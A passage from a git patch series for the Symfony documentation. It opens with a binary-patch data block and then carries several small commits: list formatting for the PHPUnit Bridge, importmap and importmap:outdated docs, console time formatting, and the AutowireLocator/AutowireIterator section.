zyXvGVz-~QTRB;?q1#VVImiDYMbrnn;pq9?w1Xgu8Sa9lb^UKTHNy4i9fyVMM&bPYk
zBO+poJ*T=y&JFZz9_8leC!Q9JcZ4B&*`m*#Ct`7jS(kNlyc0LIaF*nCp2}+H(>^Yy
zuo`46Y*c7WDNg#ONI`?OY+0qV1%d)Ue?NGvaD0c-B(hE*mrXNgS`UE$d4WjC-1?E3
zHO~_QHx%sw#)8&XqA%nG6|0WH@VHeAhC$m026+XuKs>Fc_J@b1)Hh}Pi_5&|MH)>O
zO-!PFr<Z&!Oop|ge5H<y=WkRc_S40W4eFQu`GjBsqG*Cdz?*oUC&2jyFH;nrT||mV
zju<46@6rMw1?9B%{O^~N>m{k5c9|w=fVo<>nL}#slwZll(g*}Dng`+2MtK*v7X*_P
z_WN8F;a<*4S>VbqEWO_u?S$~HAe_A6O14$IA;{WV6IN$=BMHXi=JADxm1;93DPxga
z?&y8<Z1VZr+)-tjusR&BL+3D3jduS3tG(-vYI523Aqfx^X#oYLBLtKVLIOx=QiRY&
zP?RPSM0!=}pcIiV5C~EYV5JvPibOyNy-BZzCcQ}K1<$$bocG@G-FM%4XWje9oi%G_
z_RM^Hc4odc*~!fQ?aN7%X<gkDqnUS6=_pw~%!N|}f^y6zspUyBZ};?@J-qroqug@4
z9TZDwS<mjXH`d&7XDqugT|drWq;pB;D!6<wF4|hPE64Nt9qj}PVDb~yVwvtCLlDjB
zR!tSk+~ViO>v}jR!U&=<E8bmtU@&HN-b{lX-0@sEIl8y+^7uJQP8}wumNSFKo##%n
zJxI1q&fH6}HEm&%dzn#^BIEP$Szh)Q+rZ-nL=LPrp2qd68A73`wnX*zx}W0bJQS*m
z_zI_{i(gp{@*9;qwr#;y^<41wx}C<GH&aUQ65e{+X6f3$j0=~(fTh{>pt1N2gH`l?
zXzPTvmhCkh+ux*0CVLibud9L}3#IULmo8h7l!uZ@zLHbz6u$=KXn1x}bnJ00d#>ud
z?G;d7#Qb-y#V=nPOr;(UNjoB#lLlkz-m)QcNB;JEo#e6b^R<*bLDBj$ftYS*wwUfm
zMh1b9F-3-Xq5Kt+w@~M4iFkLWo{1|ifF0b6xq%wxc$eq3s|EFT8z*~_<%{ac`zQhI
z!kb>j845f1QzBOqB%(|!=JK6xS>o)3%S8a+NWOVDlp)YvqcJ#@-G}U{N(SR+?^_Lf
z*h0?l+o4c9KGq@b*SbB2vR7LBn><$|Um6*j_@wx&n9&W36sCwh=_ybSnr7(JRBUuV
zD|+!>^8A7hFE-|aN9Xm(dQO(y!a=zlOFYUq2kZ7_skM}NGxI*KTF>5UH*zZM^}Be7
zbCC+kgDoDV)B017<Xo&bNj4tu>V?0syCSY%ubUomNqANI5hIO|)uF#oX86kGim^W$
zHz>qhSHw^Uz5Za(%>Ua|;l8TfQfW15RFVAl*A;gJJt*dnUpSe}RCcV4E#Te9R=w`4
zSHrF}g65J_?24zQc%E9N!51sZ9XQ#8hJLZruqthLA=z=r(p5oVAw424@>P>3ttMf7
zKhPT_3>@#)3pRwo_+;<GcwIZ#!a>m$aEAINIrg}bef>V_A$3ct#4l=kRy$F@scm~t
zaq=;e4V`>RJ1Siq>d98KP%R&B+o)`m*m~Iit||Hj6^zG!YxqAa*i$d19N5^v%gHhQ
zws~v`|L4r#<b@LjErYzY-Ztwkj5+08!mjuz`X*&R&DFPG9e!9({PJ!0YRCXF!?X4*
zYZVEw0DBs{QJdE{yV0uQ;e--2GtJxZBVc&S@;dM&2M;9Qiklu1ti(kZs`9e}GzTa6
za}5MC{&yb#A2|P`O*~nmKNs^KW)}SO4@J`1s!!EhLN_sHubTGJT%YIooVHS3TXr*=
zqHinZ5zuYab=YNj8+=*BM|HTs24P7seZvw_JI00JLx5OBv2RW7OG5E*5*&TQ&bbw4
z{Jl`|Hob)V5&3~K0oaS9M?Nv!*p6L9JCiU`Z?oIyuo0zP>OhE8JGlV4JmP-WXL@P=
z3Hg4U>_K@sV*DVy90~xvt7s&cvIos>1;LZ8VXc<I&;_WrbloW0w$^zPYZyUg#4L(v
zGc<Lxgn_U`J}Iv?sBDAjjYh991$}SVFp^6lHSpzHr0L6nrw{b~oqNqcZuou2N5s*L
z6G>;B?6jfoAIZ*AL!7Aa_1;>@j_<UrGgj?#AH9;8UAr)2&$yk<!ukXZA})V~)42tO
z87TJcKEL&(9!RY((Z{&Js->@!Y}ij4<jXW4VP6nc<?~(^+cy|Nuy5!O8=KCm?2{XP
z=gut0YBevx+!hprd{5(BdxlJlZGBa1H7EE0?%EN3n{?QE>Ajrm^8~Li5V5YXu}D5=
z$FM#Y1$ZP&V-4LTc4hnP2cp;1G+itJfoRj_5vH15V|FczuxOWa4&aIEW2RKEsbHlv
zoJY=7hJ@Bof$3CO07NT!UXB>6$nlGHLtKI!BMBicqGAUTR1_z&2!6XU^%_ri@IQPR
zo!<ye;+Xl~wwpQbtyZ~7Q%>@V>8%`rxzl`gm0DB>QuAoVFLMdGh*bl@y&`rgO_#lu
z?p47|wSvM-0G<*-N%#W!(5b)&9W;6wmIOGY0k9rKHKets^eJ>jwMlwMaP45WbGnCl
zX@Zsk7WkgRt1h|i@h2L^2K;;i9R+W25I^;>7rj&jdsLzK)G90@^tIK*)qJmzLAgA9
z4F4=1W-Ev6u&4<Ve2~Ri*NJx~y$EuA7>ym`(+7{SUg;D4_#5S>&IHrDJUQb21YXX(
zF|alzf<&(n^;tq9IStuG4gnp`W3sU$PU!{EIOStcT^}(8#5~KAw0!xZhEg^>VOibQ
z*cnF^>=08i%^PP7*S8;x>5o6Qzzlo!WDtU!`MzhiV}Ar=iYwZq-JO1_v%mJVYVr^;
zov?--*zy`o?OohTrKq2kzZ@Bh4q)HVYelSWtA$A@>JQAJ9I71NWQi}_czz1>{9O+3
zXxYH}<<vz>1qB%mXq+Q2)rqGyV6Q@SLQl6Cz{qeBF$awe>UW5LqSxPbbE>&WTjM^H
z*bhr#boihys{<&jOY+o<PG<{#1ruD+Sbu|T<aY$V>qF})XNb5$vK<>gOL1<a;&ig+
zxi?+G!eW@uiFYqrIp($qW$9{@UsAWc4f`U*xY!eIQV<M|`^^p+9o~Gz{rIeeruEt7
zAsO0kbmVm2sAXXuXPGWG&Bc&H)5?GC5RfUd;x}8|u~e~AQPIFs(*QuHrA$jLEn$kv
zLV~qcNw@{o6;nBr9MI4%V<YFS8&&?DIfeDhdSsTq>3pf3!%WJM`9SgGEP1@rQyl?C
zj)tb*yr$LI%;xRn-19X+)0m`tA2f8w`|vkFD9xZ3T{Pa?4_=Z?0gRdqiVG^j=hGP!
zz#C+u4sS0=+%v8vkj_L80hLG<<P-Cz-Ybp!(Zs85Jx1v!H<L?Py%m()B;D@jeKWIx
z?7CkTYI)pSiOvZ5SiDs|`xSf$=qZg~5avm}=-$p8KiLiblxS=C&ZH)mv9RXEi$&-~
zdo=If&gm0DPHg7d$L;ucNFJ9}kQ0Z1E{7%38?fKTi)7yNf2vyd_L{U}@_?r?CHzbP
z=lzIYL;EY-**eIpCc#G7tg)#vYHJVFC79~l*lpQx$oOp6qQYd5n7-C_?Uu@R@*!ZB
zYDdPe%cQ<6Z}<EKw?$&0aU?oJ*d097T!)1xX3o9L$4W0OK@BwTENX8S%bhonzk6^h
z;zhR1OKAW>6m~At=C}jN`ua_Ee`Hj47uT7h37;2*O`EooDc>mbbkWXln#>Agcfu}!
z3s{@yeSC{WzkJY=+5zvAE&(pKwU4g6+MeDsn+XQ?$UFDaDnj))q@#N(cnYZt-n<Wl
zzCXvfk=kM0;Y7BAr>|+%y;)Z;bsRD+SPKG7gODfdm3wn2WF<IQ5Eq-j2}~uxx3VPS
zbEgJ@6HSAlZahl8`{J9^^D35*F%=S$6XN3FD-xELrHaSk)O6;N8S!@^Hxk&^5p32W
zU|#bO58$H*0LefgFo=wd4Dch6LFoZZPIRPIXXG>og2;9KqYnoF5HcVc8IZK}<%GYB
znDaMWm_LDra|qxH4;?HH%^jd<<gwXW005;HxTO|2LkHw#J!1U%GM@k-d6JMkKnL>N
zR>#}u&RY!VOq2%vn7868IF%}G#hh}oR4O2M8D#cU#r{bNo%>chJ1~7KrWi5^u;+vf
z*cj4ZS7&0h(M{)0?^aRl);r^|kfFz@xbEbswK!}b@ruymkUEINX|%I+-a&g)rFO{%
zU?|Xv7*goGb4Mc&12Y+ZhsNE)wwAoMyVm==<dx55{rKks|G&u_V>}OC6bpt)Lc+j6
z;(~;MgaMq|OD$kcQjYutZFG%Q{e>t<=Q%kZ;|K~d2%aa@i$}SJy&E19C@Dv_p!{b@
zx(KBsjz6;Ha118%4*Jd=v|BQkT8^`$d+P*kK-QS3dM}T9r(_g-IfDAAGceM;CM!vl
zpGbWS5%ddjRBgg^L7qVpgXzkcxxe@bM+)vFa0ROsq$&=bqth{W5LtyoyU)tdw$Hpc
z8U%M+qZjR?ZU<72f}Fmj`hoUFpL-8I6FvRgt0b?eVcR`S^rwBJG}hftUsAE{bUy@S
z^v*Leovx3e&%UIVdnEUNmEu2%^eeG7D$@6U#8En>g}8R_=Y<X5wC^FJerIrdcD%8l
zZxxydCTRY&kf!t1&&!p9oV7MUP1IbEz|pW%^`@bKWJ~+^l35v@B^vVsWZnEm2Z5RK
zcRYS2=3?mo76{?2wR3)$wGSgpo|VIk-yi(G;Ny6sc}HgP<<j3|AU#i6w0=>jYSgi8
zaA9-Tr~35{+$!l}+W2=@HBn3YP*pDG;Gbp`q}>8e+ARPeatbgQOac0Jy8zN#g2=fH
zW5IM{7MUFkqIw3L+=@;L=Fa}m==6;I0!HzGU-u6X5^&(vs6-dc1^H`}<C~%HMK&0_
zo&m8+@kGmt$1|;zEuW7+_SS|c=_KU{ObAF}E*#U+31W=9+Yr@WTWA^I#o&Uecl3WQ
zN#Jd|-Gqt2382KCkI#HU=s+n3Pq8Ew3!sqs9Ow5h@%!m{J(JUe8*yXLc~i4a@xml1
z=Nbf=<1JAlieCM}N?2sZc)iWGo(Lpg3AHS5lwts5B%)N##-?>|69r1v#k?C}QhWnx
zjQqEV0<Cvc#{KewxmV=WVA7kk;3@%c7ryB#2Q<TeLhDH<y6OVL^{u3Rd8!N)m$tr`
z7b{qhd_QX4qJk>i3>Z6<{fSG{KijH8bIcfv7g?wfSR`J))m|pxi2s!5s5B;UOx-wa
z@upCdo$DzwG2}x_=ixS&xX}=xS?p={O(YK$D>d4AXs^PX^*tuib&G{-F($ao<*dsZ
z>ol>tinaB&1cpGmzk&VZg5JMCxVjL+QD?O&!nUVHee#=@mI=OQ%(9AIHh(zmF?>J%
zrvBEcZT6Ktc1qfU^2cNN33DegQPI)IqQl|C_%UaAlFwr^hLQI@``4mA`)W7a74|o<
zVJBQuQZ}Tn3ng^I1-~-HV@Kbn+%s8tfWn?p$#~Q&nfQpEDh1tB(s0|+ZsMVdv;c2J
zUrt=H@%6eBSQl;Z7Hk9E$Mzv!>{<(a9Hrr77FT%f?xtRYH9R@R72RT01poH!D`O{i
zl-Mv;4YMxnzdIJ$sVC5)v6CY7rr8#JGA^v?vQA&idwZ!5nVrX}>X=^HBN^q+NDU|2
zMan)9p%(s}*CL1hAeWjsGQ#|7ELoTLlgLY{a-naT;Y}K9#~tiu_EKZp(1n4rCMp?m
z`sfz>BDmlJjIk@8r2CM69j4YkRV<JL3lbh`>TE6(FD_glycVo<J+JvssQ6<4nyaX&
zOdDP<fXtVb)NMG~V<D?%OVU1z#^tpt#rK^(g$dQBH=2t?`cAogYu@-Y^e<KEYMx*G
zsJFFVuda40)9-V_&VaW^!ga&+6@2_eB8Ay@$?L=edpqkxK+3g#KVom`Kc!}cqT@DG
zRcB_A4)LbIeqdmWm-$1b9E7l62me0h3{r82w%s>qog@9f5jyqNt>;cW|1^6W%Ds6q
zQ^exVpU5&6{OVGZL+X&Pwhkl?gg;sEGivi^?KJ6I4G3kHI5oM{ZA*MvIMy>T0B2;V
zw{;dCn&_kQm_AvqSq3lpc%$Oe8-|5eA*VzKXS?7^*T<&3gV<~1KROkCX#f_Ktl$b<
zb@qJ{!;i~emyCbSi`;WP1aKyjzO?v%sJK9iBNg`-9hZy|2vu+b(Syn97*3i4m_&6s
ze^qixeU6meA+(8g!apTC`+m^|*oJmx@p~)`UY2pw#!hP4c0_QoD9oN<QK*^K6UEY`
z^3SH8gXxUcGH_5+#dHB`zH8O%ayvyt<h)+fQlGQk`*MeBc1~MW0m7p7z10}fw)atm
z<QE#FnN5Tp0!}K4cb-<$j(2O^;$hHHZ!ou7)Ai_jt~E=aAMtJ$Lb^^ff&^QyITVI<
zMkYNu?fgVQiC#=bMQ!@-<Z65t*<f)n7;H7TR%#}&85$s*FCN-?T3J0b0Ll^Dm9%a%
zcO_3hx96;Oj_1wAgK^|j)z{Zbs3c@!)6^TAowPnfp%SC7p6lm!=ek=-<lbiS>|Tnf
zBt+)iOG>-<Y%J`%=hCQvr)PJbfE)PEm6y7W^zv&w+^*s;{vZ@K3;yM??=~G)$q$vE
zv8T!m51xRAqS6bb)CQiU7hEI{*vzsK)KN6|Apx~Q+l@KyNCo28Pg4Hx8bh_Ye(*cW
zhV28Q7DZ$5Fw$5~0`K9BBdo_9X~?BRfGKqWsBuz#+Oi*X%hlJh2~j<phhKh2I;7+M
zI%LMb$CZ;uYl9p+fGrdEvf^E$x(ptTyCG>b30_r>TgnFdzU|Ibc-Sv|YH-VA23~(K
z0IA^+z`TMg9kl<0IOG+zbf#|4UY`CEquw9Is1y5>zp<rVnf#+GSifAIQq$DgttSn}
zs@8`Z{{wk?q(^<e|1K_m-*TkQTN@T(T+#Vy{OXNcdi+(6lHzxBw&`n6ke^=k{VhIS
z@jx%{%D+8v-;w6GsVA-I?-t@$YRr+eX&~qUWI%Ed5DcOu?Hos{E*Ss_qSw>U05foj
z8IUU)#zMI*=r~2iuQ<h-M=K~f2c+j)`WO6AbwOlDs_qscLwCl2-%y6JiHYW+_(SCk
zt$$bi`T5w-M;7|mx)B~t)y&+IvFBCZib1T(YosVY-a7j>HJzQU9jBg99W$jHcMGi(
zOCidx#j%Itc`&3pp}Rdb+lT_TPuzc}DB*15N5B*(RJqKRLA31N$5GdDh(kRnD>}(f
zbkfZAKa@h?*A*M$IDrl=EzX=QEVv7Un%n2s7TrqYLCVQ!#_>mO(Zfx;b;K$cX(#Y!
z)PQM&_6?(%M`#5}1_O2S$TV@SXC(VC46t)rMqgaF23#G~^>D2sdl|tiZR^U0aNqam
z0Eewr07xKTF2M5#7Hg7?c^}P(_^41=sinQFTr-|3F5B#PxZ;vebs6INR)lTmSdZF*
z$+=@T5xfHI)X{e1`EGaPd}Sl>6$;AXFqQTh)0M(YkXz;D?C@9)sz7f-x;zzSx`Ms=
zMXe?qSNwohIV_V88uYAlidtg{;4H~4CBmr{##a*X@S}AXzqjo+^lZ!5>?eiH25#Ec
zl^FuH!HBWADX8YN;X0ztS1I;R)8jc`RXU))E2XXqAAK}Qeww*l+Zjhgmst_OOK{N;
zIR@{LZ!AJ~w%<!Jjf@&+_s6Ik$xp%KHWSM$=spgR{(7?!jbcsr2>4{6GJUs8ok3g{
z9Rl)f5x_;_Zr`2q2VNrM;_5`(02V2UYYJ7DUK^}}7ARO|sCVMqiPAO_WYQD%Ut~T5
zr=J7`Q;hg;f0m2{$oajq?dR#{3%q@|k5gx_NFP1BjUp3ZSx#2dpyf`UP<hTBaJME=
zd{@y^5;f2kuO4~XF=h=V=&s~2+Khj<Z{Ptf*5!K?s6xCIg6BDUJ;u(aEE8qg79|~0
z6d1-b5Du#tRFXszCl2F;ur(8$Cg74m+n5syffKiYKvz$QWcevK#TK4c3+Y%&hH+Nh
zBQ2KI;B6?X*db8`6lnV(rTAW!z&@XUT1z8})4O`^vg3(FqgLBWon|iK6PF!&V>VD+
zJ+ZbEr0GamxuqD(id(doYB`c4wbVtRNGMUU=K{V|KZfcJQ9nkZ7*6Gr<pc&vcHU^G
z=<u~Th~;Nlz5khpZ&8B_Kr7d(f5hyJ8X%Sqs1II9>j927k?|?oLosvy+=d4st_r{+
z?VWpHSz48|vm<JwXV1>MLE~|$ik$`qiJ*ryNfhd9qSQ@sIKXa*?Hvi*OxZGSX&>JP
zUF}?dI4c#8d{A~wqGG3dlRn$o9AO}AFXJ>Bp&Oq~IdBb4&v{H35Um0{hXV+)kqCi%
zBsZ$tE!w73Jf&t%<%ArEp$NRc3RzdcS@rl34HP`6W{SIAC4d~>>T44_8_*<lHrQif
zr-eNoa8;xDvg;+B-64Q3OhTp2pGx%x_^UvsnnF3qhMzPx?*;kSkZ5vx=uQ|nZ%xvS
z-s(8R*w<QBd&y%iV*vVil8iE03diKs0Xf0|&_WD3OQrwqZkX#v0(~)0gEn<{Edv|+
zIWjkvlLp+N6!DI#$v`bCGc6i|@c~!g`}9TW8<z)NCFDl1@W)dY$MYZlyW-E!2kD@q
zGG}i>P8l^pKUN!6@??;!B<H2#O|HBZ2%VMMP=iC#Ku1URfuIN8i*^hiP@`w5!nK$*
zxFvJZ=;_jv<F3K_WEfU;JukP5!WrKJU{cUV+0<^@S__-Ae2)mU^GkHyTftr=U#?cA
zjf*xj?WaO*-z$M_+NBCAah{SJwj7VyI@p!r!mwOD3q0>a^bup>r{A8OvWw8S=Jtxt
zT%Jk3q0GYW;0E)Ts?6gEtZAo02}L8<Zz@n++B&Z@RC~>rc&zKYs8L!)VDUbIDQD6A
zHPV&bb~ov-XjFU<bZt9s7epOsDM1|a?tMmhnp4DU`|b0!2jWJ55us~5Ml4kE(b=@_
z!Kb7^!(w{u9$>DG5RJ+zp1xkR{!55l725~IQF%Y}AQk__JzjDpCWs-I?!%vF2clPZ
z@Si%Q*gBHLGj<vtFd~hYEJNnmzUl5;eF*1x<yoM-5xL3lTQKs8wpaGcKiUPgJb7C0
z@d4jRrhej9?S%aK7sHJCV$oC92m)7TXCdI8*WK;-cNh{}xQ|i9>|jnHw+xpj!`T%L
z5!QXtL%^B7NZ%yCC-V(REoA-1WEzfR^8QL&7wyUiuj$#4t&#Vx>vemMHxWA)2hwkU
vd7`)I3Jp)mHNW7oS+e3%tNlZO_4uc#oQR2qcFo7uT|@?nLqNXfVgG*sku`I$


From b2814587bebcb59aa5e45f28a56439cd8a50d4fa Mon Sep 17 00:00:00 2001
From: Alireza Rahmani Khalili <alirezarahmani@live.com>
Date: Sat, 7 Oct 2023 16:12:14 +0330
Subject: [PATCH 5276/7107] Update phpunit_bridge.rst

fix sub list
---
 components/phpunit_bridge.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index bdbcf885520..9faca1eaa9c 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -19,10 +19,10 @@ It comes with the following features:
 * Provides a ``ClockMock``, ``DnsMock`` and ``ClassExistsMock`` classes for tests
   sensitive to time, network or class existence;
 
-* Provides a modified version of PHPUnit that allows 1. separating the
-  dependencies of your app from those of phpunit to prevent any unwanted
-  constraints to apply; 2. running tests in parallel when a test suite is split
-  in several phpunit.xml files; 3. recording and replaying skipped tests;
+* Provides a modified version of PHPUnit that allows:
+   * separating the dependencies of your app from those of phpunit to prevent any unwanted constraints to apply; 
+   * running tests in parallel when a test suite is split in several phpunit.xml files; 
+   * recording and replaying skipped tests;
 
 * It allows to create tests that are compatible with multiple PHPUnit versions
   (because it provides polyfills for missing methods, namespaced aliases for

From 717bcf3fedf58a21411c707a71bfb8e6dc1fbd9a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Oct 2023 12:20:51 +0200
Subject: [PATCH 5277/7107] Tweak syntax

---
 components/phpunit_bridge.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 9faca1eaa9c..bfa69893bb9 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -20,9 +20,10 @@ It comes with the following features:
   sensitive to time, network or class existence;
 
 * Provides a modified version of PHPUnit that allows:
-   * separating the dependencies of your app from those of phpunit to prevent any unwanted constraints to apply; 
-   * running tests in parallel when a test suite is split in several phpunit.xml files; 
-   * recording and replaying skipped tests;
+
+  #. separating the dependencies of your app from those of phpunit to prevent any unwanted constraints to apply;
+  #. running tests in parallel when a test suite is split in several phpunit.xml files;
+  #. recording and replaying skipped tests;
 
 * It allows to create tests that are compatible with multiple PHPUnit versions
   (because it provides polyfills for missing methods, namespaced aliases for

From 50bf3ec9a444d00c9a6f0117aedcb628cbda7ed2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Oct 2023 13:09:59 +0200
Subject: [PATCH 5278/7107] [AssetMapper] Change the structure of the imortmap
 file

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 28c213c8f61..d4558a4d445 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -215,7 +215,7 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
         // ...
 
         'bootstrap' => [
-            'url' => 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm',
+            'version' => '5.3.0',
         ],
     ];
 

From ef85a0142df132410b2a036c6fea419dfe3f7249 Mon Sep 17 00:00:00 2001
From: Maelan LE BORGNE <maelan.leborgne@sensiolabs.com>
Date: Mon, 9 Oct 2023 16:39:16 +0200
Subject: [PATCH 5279/7107] [AssetMapper] Added instruction for 'outdated'
 command

---
 frontend/asset_mapper.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 28c213c8f61..bf8459d2a96 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -248,6 +248,20 @@ computers if some files are missing.
     such as ``@popperjs/core``. The ``download`` option will download both the main
     package *and* its dependencies.
 
+You can check for available updates for your third-party packages by running :
+
+.. code-block:: terminal
+
+    # check for updates for all packages
+    $ php bin/console importmap:outdated
+
+    # check for updates for the given list of packages
+    $ php bin/console importmap:outdated bootstrap lodash
+
+.. versionadded:: 6.4
+
+    The ``importmap:outdated`` command was introduced in Symfony 6.4.
+
 To update third-party packages in your ``importmap.php`` file, run:
 
 .. code-block:: terminal

From 25ab36a37c3b58f82bead87b228a28a356d8bf55 Mon Sep 17 00:00:00 2001
From: Maximilian Beckers <beckers.maximilian@gmail.com>
Date: Tue, 10 Oct 2023 13:47:28 +0200
Subject: [PATCH 5280/7107] [Console] Helpers updated to optimize the time
 formating

---
 components/console/helpers/formatterhelper.rst | 16 ++++++++++++++++
 components/console/helpers/progressbar.rst     |  5 ++++-
 2 files changed, 20 insertions(+), 1 deletion(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 135a5898778..2a1b30a5aad 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -119,3 +119,19 @@ If you don't want to use suffix at all, pass an empty string::
     $truncatedMessage = $formatter->truncate('test', 10);
     // result: test
     // because length of the "test..." string is shorter than 10
+
+Formatting Time
+~~~~~~~~~~~~~~~
+
+Sometimes you want to format seconds to time. This is possible with the
+:method:`Symfony\\Component\\Console\\Helper\\FormatterHelper::formatTime` method.
+The first argument is the seconds to format and the second argument is the
+precision (default ``1``) of the result::
+
+    $timeString = $formatter->truncate(42);        // 42 secs
+    $timeString = $formatter->truncate(125);       // 2 mins
+    $timeString = $formatter->truncate(125, 2);    // 2 mins, 5 secs
+    $timeString = $formatter->truncate(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
+
+.. versionadded:: 6.4
+    The support for exact times were introduced in Symfony 6.4.
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 598744ab460..b1fbafa5ae0 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -243,10 +243,13 @@ current progress of the bar. Here is a list of the built-in placeholders:
 * ``memory``: The current memory usage;
 * ``message``: used to display arbitrary messages in the progress bar (as explained later).
 
+The time fields ``elapsed``, ``remaining`` and ``estimated`` are displayed with a precision of 2.
+That means `172799` seconds are displayed as ``1 day, 23 hrs`` instead of ``1 day, 23 hrs, 59 mins, 59 secs``.
+
 For instance, here is how you could set the format to be the same as the
 ``debug`` one::
 
-    $progressBar->setFormat(' %current%/%max% [%bar%] %percent:3s%% %elapsed:6s%/%estimated:-6s% %memory:6s%');
+    $progressBar->setFormat(' %current%/%max% [%bar%] %percent:3s%% %elapsed:16s%/%estimated:-16s% %memory:6s%');
 
 Notice the ``:6s`` part added to some placeholders? That's how you can tweak
 the appearance of the bar (formatting and alignment). The part after the colon

From 0eed4e60f13848dd88eb522c6a3d809b206f0272 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Oct 2023 13:54:22 +0200
Subject: [PATCH 5281/7107] Remove variable

---
 components/console/helpers/formatterhelper.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 2a1b30a5aad..25a433e583a 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -128,10 +128,10 @@ Sometimes you want to format seconds to time. This is possible with the
 The first argument is the seconds to format and the second argument is the
 precision (default ``1``) of the result::
 
-    $timeString = $formatter->truncate(42);        // 42 secs
-    $timeString = $formatter->truncate(125);       // 2 mins
-    $timeString = $formatter->truncate(125, 2);    // 2 mins, 5 secs
-    $timeString = $formatter->truncate(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
+    $formatter->truncate(42);        // 42 secs
+    $formatter->truncate(125);       // 2 mins
+    $formatter->truncate(125, 2);    // 2 mins, 5 secs
+    $formatter->truncate(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
 
 .. versionadded:: 6.4
     The support for exact times were introduced in Symfony 6.4.

From 7aeb0cd01e53ed351306324edcb86a15054191ba Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Oct 2023 13:54:37 +0200
Subject: [PATCH 5282/7107] Fix build

---
 components/console/helpers/formatterhelper.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 25a433e583a..061b7616c8d 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -134,4 +134,5 @@ precision (default ``1``) of the result::
     $formatter->truncate(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
 
 .. versionadded:: 6.4
+
     The support for exact times were introduced in Symfony 6.4.

From 148ab6975de061fea32226e2a0bcbde4f1b5c357 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Oct 2023 13:55:54 +0200
Subject: [PATCH 5283/7107] minor

---
 components/console/helpers/progressbar.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index b1fbafa5ae0..58f1fba37ff 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -243,8 +243,9 @@ current progress of the bar. Here is a list of the built-in placeholders:
 * ``memory``: The current memory usage;
 * ``message``: used to display arbitrary messages in the progress bar (as explained later).
 
-The time fields ``elapsed``, ``remaining`` and ``estimated`` are displayed with a precision of 2.
-That means `172799` seconds are displayed as ``1 day, 23 hrs`` instead of ``1 day, 23 hrs, 59 mins, 59 secs``.
+The time fields ``elapsed``, ``remaining`` and ``estimated`` are displayed with
+a precision of 2. That means ``172799`` seconds are displayed as
+``1 day, 23 hrs`` instead of ``1 day, 23 hrs, 59 mins, 59 secs``.
 
 For instance, here is how you could set the format to be the same as the
 ``debug`` one::

From 528cbda9f2934ed5d9624d27c6d62a10c712a8e6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 5 Oct 2023 11:29:48 +0200
Subject: [PATCH 5284/7107] [DependencyInjection] Update  syntax for
 `#[AutowireLocator]` and add `#[AutowireIterator]`

---
 reference/attributes.rst                      |  1 +
 .../service_subscribers_locators.rst          | 52 +++++++++++++------
 2 files changed, 38 insertions(+), 15 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index ad71f229889..841bd56e2bb 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -38,6 +38,7 @@ Dependency Injection
 * :ref:`Autowire <autowire-attribute>`
 * :ref:`AutowireCallable <autowiring_closures>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
+* :doc:`AutowireIterator <service-locator_autowire-iterator>`
 * :ref:`AutowireLocator <service-locator_autowire-locator>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 9cd47eaabc2..a39ccfb4a68 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -298,9 +298,10 @@ This is done by having ``getSubscribedServices()`` return an array of
     The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
 
 .. _service-locator_autowire-locator:
+.. _service-locator_autowire-iterator:
 
-The AutowireLocator attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The AutowireLocator and AutowireIterator Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
